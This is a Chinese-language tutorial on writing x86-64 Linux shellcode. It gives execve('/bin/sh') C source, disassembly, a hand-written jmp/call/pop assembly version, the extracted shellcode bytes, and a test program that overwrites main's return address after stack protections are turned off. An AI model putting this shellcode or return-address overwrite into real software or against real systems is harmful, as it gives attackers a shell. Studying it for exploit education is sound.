1. 概說
shell我們都知道是什麼了吧。 狹義的shellcode 就是一段可以運行shell的代碼。
構造一段shellcode的作用就是為了在緩衝區溢位時將shellcode的地址覆蓋掉正常的返回地址。
shellcode通常放在緩衝區內,也可以通過環境變數存入堆內,也可以通過動態記憶體放入堆區。
下面我們學習一下怎樣構造shellcode。
注意: 我是在Centos 64位的系統下進行測試和構建shellcode的,shellcode的進階技巧可以支援不同平台的移植,但下面構建的shellcode並不適合多平台。 2. shellcode原始碼
下面是shellcode的c代碼
#include <stdio.h>#include <unistd.h>int main(int argc, char *argv[]){ char *code[2]; code[0] = "/bin/sh"; code[1] = NULL; execve(code[0], code, NULL); return 0;}
以上代碼編譯運行可以得到一個shell(命令列)。 execve 是 Unix/Linux下exec函數,Linux一般是用fork建立新進程,用exec來執行新的程式 exec有六個函數,其中只有execve是系統調用,其它五個exec函數最後都要調用execve。 3. 反組譯碼
我們將上面的代碼進行編譯,然後反組譯碼。
編譯: gcc -o shellcode shellcode.c
反組譯碼:objdump -d shellcode > shellcode.s
shellcode.s 是我們得到的反組譯碼代碼, 我們只需要關注main部分的:
0000000000400530 <main>: 400530: 55 push %rbp 400531: 48 89 e5 mov %rsp,%rbp 400534: 48 83 ec 20 sub $0x20,%rsp 400538: 89 7d ec mov %edi,-0x14(%rbp) 40053b: 48 89 75 e0 mov %rsi,-0x20(%rbp) 40053f: 48 c7 45 f0 00 06 40 movq $0x400600,-0x10(%rbp) 400546: 00 400547: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp) 40054e: 00 40054f: 48 8b 45 f0 mov -0x10(%rbp),%rax 400553: 48 8d 4d f0 lea -0x10(%rbp),%rcx 400557: ba 00 00 00 00 mov $0x0,%edx 40055c: 48 89 ce mov %rcx,%rsi 40055f: 48 89 c7 mov %rax,%rdi 400562: e8 b9 fe ff ff callq 400420 <execve@plt> 400567: b8 00 00 00 00 mov $0x0,%eax 40056c: c9 leaveq 40056d: c3 retq 40056e: 66 90 xchg %ax,%ax
參照上面的反組譯碼代碼,我們手工用組合語言重寫上面的shellcode.c,如下:
.section .text.global _start_start:jmp clpp: popq %rcxpushq %rbpmov %rsp, %rbpsubq $0x20, %rspmovq %rcx, -0x10(%rbp)movq $0x0,-0x8(%rbp)mov $0, %edxlea -0x10(%rbp), %rsimov -0x10(%rbp), %rdimov $59, %raxsyscallcl:call pp.ascii "/bin/sh"
上面的彙編代碼,我們儲存為檔案: scode.s
shellcode的模板一般都是這樣的:
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string
這裡面的一個jmp和一個call首尾呼應,是shellcode用來得到.string裡面內容的一個好辦法
想要編寫shellcode,就要理解目的程式調用shellcode時的痛點,下面是上面的彙編代碼的解釋:
shellcode最麻煩的一點就是要將字串“/bin/sh”作為參數傳遞,shellcode被寫入緩衝區後,代碼的位置是不固定的,為了能夠得到”/bin/sh”這個字串,駭客們利用call指令,因為call指令執行的第一個動作就是將下一條指令的地址壓棧,我們把字串安排在call後,目的就是要把它壓入棧中。 scode.s入口第一條指令: jmp cl #這是跳到cl標籤處,亦即 call pp。 call pp #將字串壓棧,同時返回到上面pp標籤處 popq %rcx #將字串”/bin/sh”的地址存入rcx(通用寄存器),這裡可以選擇其它寄存器。
接下來的三條指令是建立一個新的棧空間:
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
在真正注入的shellcode代碼裡,可以不用建立這個棧,但這裡示範程式在單獨執行時,”/bin/sh”字串是放在了程式碼片段裡,是不允許修改的空間,所以要建棧將這個字串複製過去。
movq %rcx, -0x10(%rbp) #將字串複製到棧 movq $0x0,-0x8(%rbp) #建立調用exec時的參數name[1],將它置0. lea -0x10(%rbp), %rsi #這是execve第二個參數,它需要**類型,所以用lea傳送地址給rsi。 mov -0x10(%rbp), %rdi #mov將字串傳給rdi,這是execve第一個參數。 mov $59, %rax #這個59是execve的系統調用號,在/usr/include/asm/unistd_64.h裡可以查詢到. syscall #系統調用, 這個可以取代 int 0x80 .
不用考慮返回退出,代碼基本無問題,下面進行編譯和串連。
編譯: as -o scode.o scode.s
串連: ld -o scode scode.o
用objdump反組譯碼scode,主要目的是提取二進位機器碼,為了方便顯示,二進位一般表示為十六進位。
這裡有一條命令,可以直接輸出到可以用在c語言的shellcode:
for i in $(objdump -d scode | grep “^ ” |cut -f2); do echo -n ‘\x’$i; done;
最後得到的shellcode代碼如下:
\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
4. 測試shellcode
下是用c語言寫一個測試shellcode的程式:
#include <stdio.h>unsigned char code[] = "\xeb\x2b\x59\x55\x48\x89\xe5\x48" "\x83\xec\x20\x48\x89\x4d\xf0\x48" "\xc7\x45\xf8\x00\x00\x00\x00\xba" "\x00\x00\x00\x00\x48\x8d\x75\xf0" "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b" "\x00\x00\x00\x0f\x05\xe8\xd0\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; /* code 就是我們上面構造的 shellcode */void main(int argc, char *argv[]){ long *ret; ret = (long *)&ret + 2; (*ret) = (long)code;} 因為是64位系統,地址是有64位寬度的,所以要用long類型 ret 作為main的第一個局部變數,它必定是儲存在main的棧空間內,其中long * ret 這條指令佔據了一個64位, 當ret地址加1(64位)時,ret就到到達棧的基址位置(rbp),我在(一)這文章裡分析過,main函數的返回地址還在棧基址之上的高地址中,它距離rbp還有64位寬度,所以ret需要加上2(2個64位)才能到達main的返回地址的儲存位置。 (*ret) = (long)code , 很明顯就是要用code的地址將main返回地址覆蓋。
另外,由於系統設定了堆棧運行保護,gcc編譯時間需要使用參數:-fno-stack-protector -z execstack 5. shellcode 之後
shellcode 除了取得shell外,還有很多不同的功能,構建shellcode還有很多不同的方法,這裡只是很基本的方法。
現代系統都有堆棧運行保護,有方法可以繞過這些保護不。
答案是有的,所謂道高一尺,魔高一丈。
上面的shellcode並不涉及緩衝區溢位,亦不適用緩衝區溢位,原因是什麼呢。
且看下回分解。